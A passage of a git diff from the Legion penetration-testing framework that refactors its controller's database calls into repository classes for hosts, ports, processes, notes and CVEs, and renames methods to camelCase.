db_service = None - # fetch the port - db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() - - if not db_port: - #print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) - if db_service: - db_port = portObj(p.portId, p.protocol, p.state, db_host.id, db_service.id) - else: - db_port = portObj(p.portId, p.protocol, p.state, db_host.id, '') - session.add(db_port) - #else: - #print('FOUND port *************** portid={0}'.format(db_port.portId)) - createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) - totalprogress = totalprogress + createPortsProgress - self.importProgressWidget.setProgress(totalprogress) - self.importProgressWidget.show() - - session.commit() - - #totalprogress += progress - #self.tick.emit(int(totalprogress)) - - for h in parser.getAllHosts(): # create all script objects that need to be created - db_host = session.query(hostObj).filter_by(ip=h.ip).first() - - for p in h.all_ports(): - for scr in p.getScripts(): - self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) - print(" Processing script obj {scr}".format(scr=str(scr))) - db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() - db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by(portId=db_port.id).first() - - if not db_script: # if this script object doesn't exist, create it - t_l1ScriptObj = l1ScriptObj(scr.scriptId, scr.output, db_port.id, db_host.id) - self.tsLog(" Adding l1ScriptObj obj {script}".format(script=scr.scriptId)) - session.add(t_l1ScriptObj) - - for hs in h.getHostScripts(): - db_script = session.query(l1ScriptObj).filter_by(scriptId=hs.scriptId).filter_by(hostId=db_host.id).first() - if not db_script: - t_l1ScriptObj = l1ScriptObj(hs.scriptId, hs.output, None, db_host.id) - session.add(t_l1ScriptObj) - - session.commit() - - for h in parser.getAllHosts(): # update everything - - db_host = session.query(hostObj).filter_by(ip=h.ip).first() - - if db_host.ipv4 == '' and not h.ipv4 == '': - db_host.ipv4 = h.ipv4 - if db_host.ipv6 == '' and not h.ipv6 == '': - db_host.ipv6 = h.ipv6 - if db_host.macaddr == '' and not h.macaddr == '': - db_host.macaddr = h.macaddr - if not h.status == '': - db_host.status = h.status - if db_host.hostname == '' and not h.hostname == '': - db_host.hostname = h.hostname - if db_host.vendor == '' and not h.vendor == '': - db_host.vendor = h.vendor - if db_host.uptime == '' and not h.uptime == '': - db_host.uptime = h.uptime - if db_host.lastboot == '' and not h.lastboot == '': - db_host.lastboot = h.lastboot - if db_host.distance == '' and not h.distance == '': - db_host.distance = h.distance - if db_host.state == '' and not h.state == '': - db_host.state = h.state - if db_host.count == '' and not h.count == '': - db_host.count = h.count - - session.add(db_host) - - tmp_name = '' - tmp_accuracy = '0' # TODO: check if better to convert to int for comparison - - os_nodes = h.getOs() - for os in os_nodes: - db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType).filter_by(vendor=os.vendor).first() - - db_os.osAccuracy = os.accuracy # update the accuracy - - if not os.name == '': # get the most accurate OS match/accuracy to store it in the host table for easier access - if os.accuracy > tmp_accuracy: - tmp_name = os.name - tmp_accuracy = os.accuracy - - if os_nodes: # if there was operating system info to parse - - if not tmp_name == '' and not tmp_accuracy == '0': # update the current host with the most accurate OS match - db_host.osMatch = tmp_name - db_host.osAccuracy = tmp_accuracy - - session.add(db_host) - - for scr in h.getHostScripts(): - print("-----------------------Host SCR: {0}".format(scr.scriptId)) - db_host = session.query(hostObj).filter_by(ip=h.ip).first() - scrProcessorResults = scr.scriptSelector(db_host) - for scrProcessorResult in scrProcessorResults: - session.add(scrProcessorResult) - - for scr in h.getScripts(): - print("-----------------------SCR: {0}".format(scr.scriptId)) - db_host = session.query(hostObj).filter_by(ip=h.ip).first() - scrProcessorResults = scr.scriptSelector(db_host) - for scrProcessorResult in scrProcessorResults: - session.add(scrProcessorResult) - - for p in h.all_ports(): - s = p.getService() - if not (s is None): - #db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(serviceObj).filter_by(name=s.name).first() - else: - db_service = None - # fetch the port - db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() - if db_port: - #print("************************ Found {0}".format(db_port)) - - if db_port.state != p.state: - db_port.state = p.state - session.add(db_port) - - if not (db_service is None) and db_port.serviceId != db_service.id: # if there is some new service information, update it - db_port.serviceId = db_service.id - session.add(db_port) - - for scr in p.getScripts(): # store the script results (note that existing script outputs are also kept) - db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by(portId=db_port.id).first() - - if not scr.output == '' and scr.output is not None: - db_script.output = scr.output - - session.add(db_script) - - totalprogress = 100 - self.importProgressWidget.setProgress(int(totalprogress)) - self.importProgressWidget.show() - - session.commit() - self.db.dbsemaphore.release() # we are done with the DB - self.tsLog('Finished in '+ str(time()-startTime) + ' seconds.') - self.done.emit() - self.importProgressWidget.hide() - self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) - - except Exception as e: - self.tsLog('Something went wrong when parsing the nmap file..') - self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) - self.tsLog(e) - raise - self.done.emit() diff --git a/controller/controller.py b/controller/controller.py index bce0a2a9..bbe387d8 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -11,16 +11,19 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -import sys, os, ntpath, signal, re, subprocess # for file operations, to kill processes, for regex, for subprocesses +import signal # for file operations, to kill processes, for regex, for subprocesses + +from app.importers.NmapImporter import NmapImporter +from app.importers.PythonImporter import PythonImporter + try: import queue except: import Queue as queue -from PyQt5.QtGui import * # for filters dialog from app.logic import * -from app.auxiliary import * from app.settings import * + class Controller(): # initialisations that will happen once - when the program is launched @@ -195,7 +198,7 @@ def openExistingProject(self, filename, projectType='legion'): def saveProject(self, lastHostIdClicked, notes): if not lastHostIdClicked == '': - self.logic.storeNotesInDB(lastHostIdClicked, notes) + self.logic.noteRepository.storeNotes(lastHostIdClicked, notes) def saveProjectAs(self, filename, replace=0): success = self.logic.saveProjectAs(filename, replace) @@ -207,7 +210,7 @@ def closeProject(self): self.saveSettings() # backup and save config file, if necessary self.screenshooter.terminate() self.initScreenshooter() - self.logic.toggleProcessDisplayStatus(True) + self.logic.processRepository.toggleProcessDisplayStatus(True) self.view.updateProcessesTableView() # clear process table self.logic.removeTemporaryFiles() @@ -271,16 +274,16 @@ def getContextMenuForHost(self, isChecked, showAll=True): # showAll ex def handleHostAction(self, ip, hostid, actions, action): if action.text() == 'Mark as checked' or action.text() == 'Mark as unchecked': - self.logic.toggleHostCheckStatus(ip) + self.logic.hostRepository.toggleHostCheckStatus(ip) self.view.updateInterface() return if action.text() == 'Run nmap (staged)': log.info('Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results - if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'tcp'): - self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') - if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'udp'): - self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') + if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): + self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') + if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'udp'): + self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') self.view.updateInterface() self.runStagedNmap(ip, False) return @@ -292,20 +295,20 @@ def handleHostAction(self, ip, hostid, actions, action): if action.text() == 'Purge Results': log.info('Purging previous portscan data for host {0}'.format(str(ip))) - if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'tcp'): - self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') - if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'udp'): - self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') + if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): + self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') + if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'udp'): + self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') self.view.updateInterface() return if action.text() == 'Delete': log.info('Purging previous portscan data for host {0}'.format(str(ip))) - if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'tcp'): - self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') - if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'udp'): - self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') - self.logic.deleteHost(ip) + if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): + self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') + if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'udp'): + self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') + self.logic.hostRepository.deleteHost(ip) self.view.updateInterface() return @@ -328,8 +331,8 @@ def handleHostAction(self, ip, hostid, actions, action): if '-sU' in command: proto = 'udp' - if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) - self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, proto) + if self.logic.portRepository.getPortsByIPAndProtocol(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) + self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, proto) tabTitle = self.settings.hostActions[i][1] self.runCommand(name, tabTitle, ip, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, invisibleTab)) @@ -460,9 +463,9 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr for p in selectedProcesses: if p[1]!="Running": if p[1]=="Waiting": - if str(self.logic.process_repository.get_status_by_process_id(p[2])) == 'Running': + if str(self.logic.processRepository.getStatusByProcessId(p[2])) == 'Running': self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) - self.logic.storeProcessCancelStatusInDB(str(p[2])) + self.logic.processRepository.storeProcessCancelStatus(str(p[2])) else: log.info("This process has already been terminated. Skipping.") else: @@ -471,65 +474,65 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr return if action.text() == 'Clear': # h.ide all the processes that are not running - self.logic.toggleProcessDisplayStatus() + self.logic.processRepository.toggleProcessDisplayStatus() self.view.updateProcessesTableView() #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def isHostInDB(self, host): - return self.logic.host_repository.exists(host) + return self.logic.hostRepository.exists(host) def getHostsFromDB(self, filters): - return self.logic.host_repository.get_hosts(filters) + return self.logic.hostRepository.getHosts(filters) def getServiceNamesFromDB(self, filters): - return self.logic.service_repository.get_service_names(filters) + return self.logic.serviceRepository.getServiceNames(filters) def getProcessStatusForDBId(self, dbId): - return self.logic.process_repository.get_status_by_process_id(dbId) + return self.logic.processRepository.getStatusByProcessId(dbId) def getPidForProcess(self,dbId): - return self.logic.process_repository.get_pid_by_process_id(dbId) + return self.logic.processRepository.getPIDByProcessId(dbId) def storeCloseTabStatusInDB(self,pid): - return self.logic.storeCloseTabStatusInDB(pid) + return self.logic.processRepository.storeCloseStatus(pid) def getServiceNameForHostAndPort(self, hostIP, port): - return self.logic.service_repository.get_service_names_by_host_ip_and_port(hostIP, port) + return self.logic.serviceRepository.getServiceNamesByHostIPAndPort(hostIP, port) #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def getPortsAndServicesForHostFromDB(self, hostIP, filters): - return self.logic.port_repository.get_ports_and_services_by_host_ip(hostIP, filters) + return self.logic.portRepository.getPortsAndServicesByHostIP(hostIP, filters) def getHostsAndPortsForServiceFromDB(self, serviceName, filters): - return self.logic.host_repository.get_hosts_and_ports_by_service_name(serviceName, filters) + return self.logic.hostRepository.getHostsAndPortsByServiceName(serviceName, filters) def getHostInformation(self, hostIP): - return self.logic.host_repository.get_host_information(hostIP) + return self.logic.hostRepository.getHostInformation(hostIP) def getPortStatesForHost(self, hostid): - return self.logic.port_repository.get_port_states_by_host_id(hostid) + return self.logic.portRepository.getPortStatesByHostId(hostid) def getScriptsFromDB(self, hostIP): - return self.logic.getScriptsFromDB(hostIP) + return self.logic.scriptRepository.getScriptsByHostIP(hostIP) def getCvesFromDB(self, hostIP): - return self.logic.cve_repository.get_cves_by_host_ip(hostIP) + return self.logic.cveRepository.getCVEsByHostIP(hostIP) - def getScriptOutputFromDB(self,scriptDBId): - return self.logic.getScriptOutputFromDB(scriptDBId) + def getScriptOutputFromDB(self, scriptDBId): + return self.logic.scriptRepository.getScriptOutputById(scriptDBId) def getNoteFromDB(self, hostid): - return self.logic.getNoteFromDB(hostid) + return self.logic.noteRepository.getNoteByHostId(hostid) - def getHostsForTool(self, toolname, closed = 'False'): - return self.logic.getHostsForTool(toolname, closed) + def getHostsForTool(self, toolName, closed='False'): + return self.logic.processRepository.getHostsByToolName(toolName, closed) #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### - def getProcessesFromDB(self, filters, showProcesses = 'noNmap', sort = 'desc', ncol = 'id'): - return self.logic.getProcessesFromDB(filters, showProcesses, sort, ncol) + def getProcessesFromDB(self, filters, showProcesses='noNmap', sort='desc', ncol='id'): + return self.logic.processRepository.getProcesses(filters, showProcesses, sort, ncol) #################### PROCESSES #################### @@ -542,7 +545,7 @@ def checkProcessQueue(self): self.processTableUiUpdateTimer.start(1000) if (self.fastProcessesRunning <= int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() - if not self.logic.process_repository.is_cancelled_process(str(next_proc.id)): + if not self.logic.processRepository.isCancelledProcess(str(next_proc.id)): log.debug('Running: '+ str(next_proc.command)) next_proc.display.clear() self.processes.append(next_proc) @@ -550,7 +553,7 @@ def checkProcessQueue(self): # Add Timeout next_proc.waitForFinished(10) next_proc.start(next_proc.command) - self.logic.storeProcessRunningStatusInDB(next_proc.id, next_proc.pid()) + self.logic.processRepository.storeProcessRunningStatus(next_proc.id, next_proc.pid()) elif not self.fastProcessQueue.empty(): log.debug('> next process was canceled, checking queue again..') self.checkProcessQueue() @@ -560,13 +563,13 @@ def checkProcessQueue(self): def cancelProcess(self, dbId): log.info('Canceling process: ' + str(dbId)) - self.logic.storeProcessCancelStatusInDB(str(dbId)) # mark it as cancelled + self.logic.processRepository.storeProcessCancelStatus(str(dbId)) # mark it as cancelled self.updateUITimer.stop() self.updateUITimer.start(1500) # update the interface soon def killProcess(self, pid, dbId): log.info('Killing process: ' + str(pid)) - self.logic.storeProcessKillStatusInDB(str(dbId)) # mark it as killed + self.logic.processRepository.storeProcessKillStatus(str(dbId)) try: os.kill(int(pid), signal.SIGTERM) except OSError: @@ -588,7 +591,7 @@ def handleProcStop(*vargs): self.processTimers[qProcess.id] = None procTime = timer.elapsed() / 1000 qProcess.elapsed = procTime - self.logic.storeProcessRunningElapsedInDB(qProcess.id, procTime) + self.logic.processRepository.storeProcessRunningElapsedTime(qProcess.id, procTime) def handleProcUpdate(*vargs): procTime = timer.elapsed() / 1000 @@ -612,7 +615,7 @@ def handleProcUpdate(*vargs): qProcess.finished.connect(handleProcStop) updateElapsed.timeout.connect(handleProcUpdate) - textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) + textbox.setProperty('dbId', str(self.logic.processRepository.storeProcess(qProcess))) updateElapsed.start(1000) self.processTimers[qProcess.id] = updateElapsed self.processMeasurements[qProcess.pid()] = 0 @@ -638,7 +641,7 @@ def handleProcUpdate(*vargs): nextStage = stage + 1 qProcess.finished.connect( lambda: self.runStagedNmap(str(hostIp), discovery=discovery, stage=nextStage, - stop=self.logic.process_repository.is_killed_process(str(qProcess.id)))) + stop=self.logic.processRepository.isKilledProcess(str(qProcess.id)))) return qProcess.pid() # return the pid so that we can kill the process if needed @@ -654,7 +657,7 @@ def runPython(self): outputfile = '/tmp/a' qProcess = MyQProcess(name, tabTitle, hostIp, port, protocol, command, startTime, outputfile, textbox) - textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) + textbox.setProperty('dbId', str(self.logic.processRepository.storeProcess(qProcess))) log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) @@ -718,7 +721,7 @@ def importFinished(self): self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) def screenshotFinished(self, ip, port, filename): - dbId = self.logic.addScreenshotToDB(str(ip),str(port),str(filename)) + dbId = self.logic.processRepository.storeScreenshot(str(ip), str(port), str(filename)) imageviewer = self.view.createNewTabForHost(ip, 'screenshot ('+port+'/tcp)', True, '', str(self.logic.outputfolder)+'/screenshots/'+str(filename)) imageviewer.setProperty('dbId', QVariant(str(dbId))) self.view.switchTabClick() # to make sure the screenshot tab appears when it is launched from the host services tab @@ -726,18 +729,18 @@ def screenshotFinished(self, ip, port, filename): self.updateUITimer.start(900) def processCrashed(self, proc): - self.logic.storeProcessCrashStatusInDB(str(proc.id)) + self.logic.processRepository.storeProcessCrashStatus(str(proc.id)) log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") #self.view.closeHostToolTab(self, index)) - self.view.findFinishedServiceTab(str(self.logic.process_repository.get_pid_by_process_id(str(proc.id)))) + self.view.findFinishedServiceTab(str(self.logic.processRepository.getPIDByProcessId(str(proc.id)))) log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) # this function handles everything after a process ends #def processFinished(self, qProcess, crashed=False): def processFinished(self, qProcess): try: - if not self.logic.process_repository.is_killed_process(str(qProcess.id)): # if process was not killed + if not self.logic.processRepository.isKilledProcess(str(qProcess.id)): # if process was not killed if not qProcess.outputfile == '': self.logic.moveToolOutput(qProcess.outputfile) # move tool output from runningfolder to output folder if there was an output file print(qProcess.command) @@ -762,10 +765,10 @@ def processFinished(self, qProcess): log.info("Process {qProcessId} is done!".format(qProcessId=qProcess.id)) - self.logic.process_repository.store_process_output(str(qProcess.id), qProcess.display.toPlainText()) + self.logic.processRepository.storeProcessOutput(str(qProcess.id), qProcess.display.toPlainText()) if 'hydra' in qProcess.name: # find the corresponding widget and tell it to update its UI - self.view.findFinishedBruteTab(str(self.logic.process_repository.get_pid_by_process_id(str(qProcess.id)))) + self.view.findFinishedBruteTab(str(self.logic.processRepository.getPIDByProcessId(str(qProcess.id)))) try: self.fastProcessesRunning =- 1 diff --git a/db/filters.py b/db/filters.py index d2db73e0..435069f8 100644 --- a/db/filters.py +++ b/db/filters.py @@ -18,14 +18,14 @@ from app.auxiliary import sanitise -def apply_filters(filters): +def applyFilters(filters): query_filter = "" - query_filter += apply_hosts_filters(filters) - query_filter += apply_port_filters(filters) + query_filter += applyHostsFilters(filters) + query_filter += applyPortFilters(filters) return query_filter -def apply_hosts_filters(filters): +def applyHostsFilters(filters): query_filter = "" if not filters.down: query_filter += " AND hosts.status != 'down'" @@ -40,7 +40,7 @@ def apply_hosts_filters(filters): return query_filter -def apply_port_filters(filters): +def applyPortFilters(filters): query_filter = "" if not filters.portopen: query_filter += " AND ports.state != 'open' AND ports.state != 'open|filtered'" diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index 9a1cc634..e40186c3 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -19,12 +19,12 @@ class CVERepository: - def __init__(self, db_adapter: Database): - self.db_adapter = db_adapter + def __init__(self, dbAdapter: Database): + self.dbAdapter = dbAdapter - def get_cves_by_host_ip(self, host_ip): + def getCVEsByHostIP(self, hostIP): query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, ' 'cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' 'WHERE hosts.ip = ?') - return self.db_adapter.metadata.bind.execute(query, str(host_ip)).fetchall() + return self.dbAdapter.metadata.bind.execute(query, str(hostIP)).fetchall() diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index 1ac313ef..30672862 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -17,33 +17,50 @@ """ from app.auxiliary import Filters from db.database import Database, hostObj -from db.filters import apply_filters, apply_hosts_filters +from db.filters import applyFilters, applyHostsFilters class HostRepository: - def __init__(self, db_adapter: Database): - self.db_adapter = db_adapter + def __init__(self, dbAdapter: Database): + self.dbAdapter = dbAdapter def exists(self, host: str): query = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' - result = self.db_adapter.metadata.bind.execute(query, str(host), str(host)).fetchall() + result = self.dbAdapter.metadata.bind.execute(query, str(host), str(host)).fetchall() return True if result else False - def get_hosts(self, filters): + def getHosts(self, filters): query = 'SELECT * FROM hostObj AS hosts WHERE 1=1' - query += apply_hosts_filters(filters) - return self.db_adapter.metadata.bind.execute(query).fetchall() + query += applyHostsFilters(filters) + return self.dbAdapter.metadata.bind.execute(query).fetchall() - def get_hosts_and_ports_by_service_name(self, service_name, filters: Filters): + def getHostsAndPortsByServiceName(self, service_name, filters: Filters): query = ("SELECT hosts.ip,ports.portId,ports.protocol,ports.state,ports.hostId,ports.serviceId," "services.name,services.product,services.version,services.extrainfo,services.fingerprint " "FROM portObj AS ports " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "LEFT OUTER JOIN serviceObj AS services ON services.id=ports.serviceId " + "WHERE services.name=?") - query += apply_filters(filters) - return self.db_adapter.metadata.bind.execute(query, str(service_name)).fetchall() + query += applyFilters(filters) + return self.dbAdapter.metadata.bind.execute(query, str(service_name)).fetchall() - def get_host_information(self, host_ip_address: str): - session = self.db_adapter.session() + def getHostInformation(self, host_ip_address: str): + session = self.dbAdapter.session() return session.query(hostObj).filter_by(ip=str(host_ip_address)).first() + + def deleteHost(self, hostIP): + session = self.dbAdapter.session() + h = session.query(hostObj).filter_by(ip=str(hostIP)).first() + session.delete(h) + session.commit() + + def toggleHostCheckStatus(self, ipAddress): + session = self.dbAdapter.session() + host = session.query(hostObj).filter_by(ip=ipAddress).first() + if host: + if host.checked == 'False': + host.checked = 'True' + else: + host.checked = 'False' + session.add(host) + self.dbAdapter.commit() diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py new file mode 100644 index 00000000..26e66b7d --- /dev/null +++ b/db/repositories/NoteRepository.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from db.database import Database, note +from six import u as unicode + + +class NoteRepository: + def __init__(self, dbAdapter: Database, log): + self.dbAdapter = dbAdapter + self.log = log + + def getNoteByHostId(self, hostId): + return self.dbAdapter.session().query(note).filter_by(hostId=str(hostId)).first() + + def storeNotes(self, hostId, notes): + if len(notes) == 0: + notes = unicode("".format(hostId=hostId)) + self.log.debug("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + t_note = self.getNoteByHostId(hostId) + if t_note: + t_note.text = unicode(notes) + else: + t_note = note(hostId, unicode(notes)) + session = self.dbAdapter.session() + session.add(t_note) + self.dbAdapter.commit() diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index e2977694..aab27485 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -15,27 +15,42 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database -from db.filters import apply_port_filters +from db.database import Database, portObj, l1ScriptObj +from db.filters import applyPortFilters class PortRepository: - def __init__(self, db_adapter: Database): - self.db_adapter = db_adapter + def __init__(self, dbAdapter: Database): + self.dbAdapter = dbAdapter - def get_ports_by_ip_and_protocol(self, host_ip, protocol): + def getPortsByIPAndProtocol(self, host_ip, protocol): query = ("SELECT ports.portId FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " "WHERE hosts.ip = ? and ports.protocol = ?") - return self.db_adapter.metadata.bind.execute(query, str(host_ip), str(protocol)).first() + return self.dbAdapter.metadata.bind.execute(query, str(host_ip), str(protocol)).first() - def get_port_states_by_host_id(self, host_id): + def getPortStatesByHostId(self, host_id): query = 'SELECT port.state FROM portObj as port WHERE port.hostId = ?' - return self.db_adapter.metadata.bind.execute(query, str(host_id)).fetchall() + return self.dbAdapter.metadata.bind.execute(query, str(host_id)).fetchall() - def get_ports_and_services_by_host_ip(self, host_ip, filters): + def getPortsAndServicesByHostIP(self, host_ip, filters): query = ("SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, " "services.name, services.product, services.version, services.extrainfo, services.fingerprint " "FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId WHERE hosts.ip = ?") - query += apply_port_filters(filters) - return self.db_adapter.metadata.bind.execute(query, str(host_ip)).fetchall() + query += applyPortFilters(filters) + return self.dbAdapter.metadata.bind.execute(query, str(host_ip)).fetchall() + + # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan + def deleteAllPortsAndScriptsByHostId(self, hostID, protocol): + session = self.dbAdapter.session() + ports_for_host = session.query(portObj)\ + .filter(portObj.hostId == hostID)\ + .filter(portObj.protocol == str(protocol)).all() + + for p in ports_for_host: + scripts_for_ports = session.query(l1ScriptObj).filter(l1ScriptObj.portId == p.id).all() + for s in scripts_for_ports: + session.delete(s) + for p in ports_for_host: + session.delete(p) + session.commit() diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index 4ae9bb52..2c0bf4c2 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -16,17 +16,52 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import getTimestamp -from db.database import * from six import u as unicode +from db.database import process, process_output, Database + class ProcessRepository: - def __init__(self, db_adapter: Database, log): - self.db_adapter = db_adapter + def __init__(self, dbAdapter: Database, log): + self.dbAdapter = dbAdapter self.log = log - def store_process_output(self, process_id: str, output: str): - session = self.db_adapter.session() + # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared + # them or when an existing project is opened. + # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is + # we are using the same model to display process information everywhere) + def getProcesses(self, filters, showProcesses: str = 'noNmap', sort: str = 'desc', ncol: str = 'id'): + # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools + if showProcesses == 'noNmap': + query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" ' + 'FROM process AS process WHERE process.closed = "False" AND process.name != "nmap" ' + 'GROUP BY process.name') + result = self.dbAdapter.metadata.bind.execute(query).fetchall() + elif showProcesses == 'False': + query = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output ' + 'FROM process AS process INNER JOIN process_output AS output ON process.id = output.processId ' + 'WHERE process.display = ? AND process.closed = "False" order by process.id desc') + result = self.dbAdapter.metadata.bind.execute(query, str(showProcesses)).fetchall() + else: + query = ('SELECT * FROM process AS process WHERE process.display=? order by {0} {1}'.format(ncol, sort)) + result = self.dbAdapter.metadata.bind.execute(query, str(showProcesses)).fetchall() + + return result + + def storeProcess(self, proc): + p_output = process_output() + p = process(str(proc.pid()), str(proc.name), str(proc.tabTitle), + str(proc.hostIp), str(proc.port), str(proc.protocol), + unicode(proc.command), proc.startTime, "", str(proc.outputfile), + 'Waiting', [p_output], 100, 0) + self.log.info(f"Adding process: {p}") + self.dbAdapter.session().add(p) + self.dbAdapter.commit() + proc.id = p.id + return p.id + + def storeProcessOutput(self, process_id: str, output: str): + session = self.dbAdapter.session() proc = session.query(process).filter_by(id=process_id).first() if not proc: @@ -41,28 +76,116 @@ def store_process_output(self, process_id: str, output: str): proc.endTime = getTimestamp(True) if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": - self.db_adapter.commit() + self.dbAdapter.commit() return True else: proc.status = 'Finished' session.add(proc) - self.db_adapter.commit() + self.dbAdapter.commit() - def get_status_by_process_id(self, process_id: str): - return self.get_field_by_process_id("status", process_id) + def getStatusByProcessId(self, process_id: str): + return self.getFieldByProcessId("status", process_id) - def get_pid_by_process_id(self, process_id: str): - return self.get_field_by_process_id("pid", process_id) + def getPIDByProcessId(self, process_id: str): + return self.getFieldByProcessId("pid", process_id) - def is_killed_process(self, process_id: str) -> bool: - status = self.get_field_by_process_id("status", process_id) + def isKilledProcess(self, process_id: str) -> bool: + status = self.getFieldByProcessId("status", process_id) return True if status == "Killed" else False - def is_cancelled_process(self, process_id: str) -> bool: - status = self.get_field_by_process_id("status", process_id) + def isCancelledProcess(self, process_id: str) -> bool: + status = self.getFieldByProcessId("status", process_id) return True if status == "Cancelled" else False - def get_field_by_process_id(self, field_name: str, process_id: str): + def getFieldByProcessId(self, field_name: str, process_id: str): query = f"SELECT process.{field_name} FROM process AS process WHERE process.id=?" - p = self.db_adapter.metadata.bind.execute(query, str(process_id)).fetchall() + p = 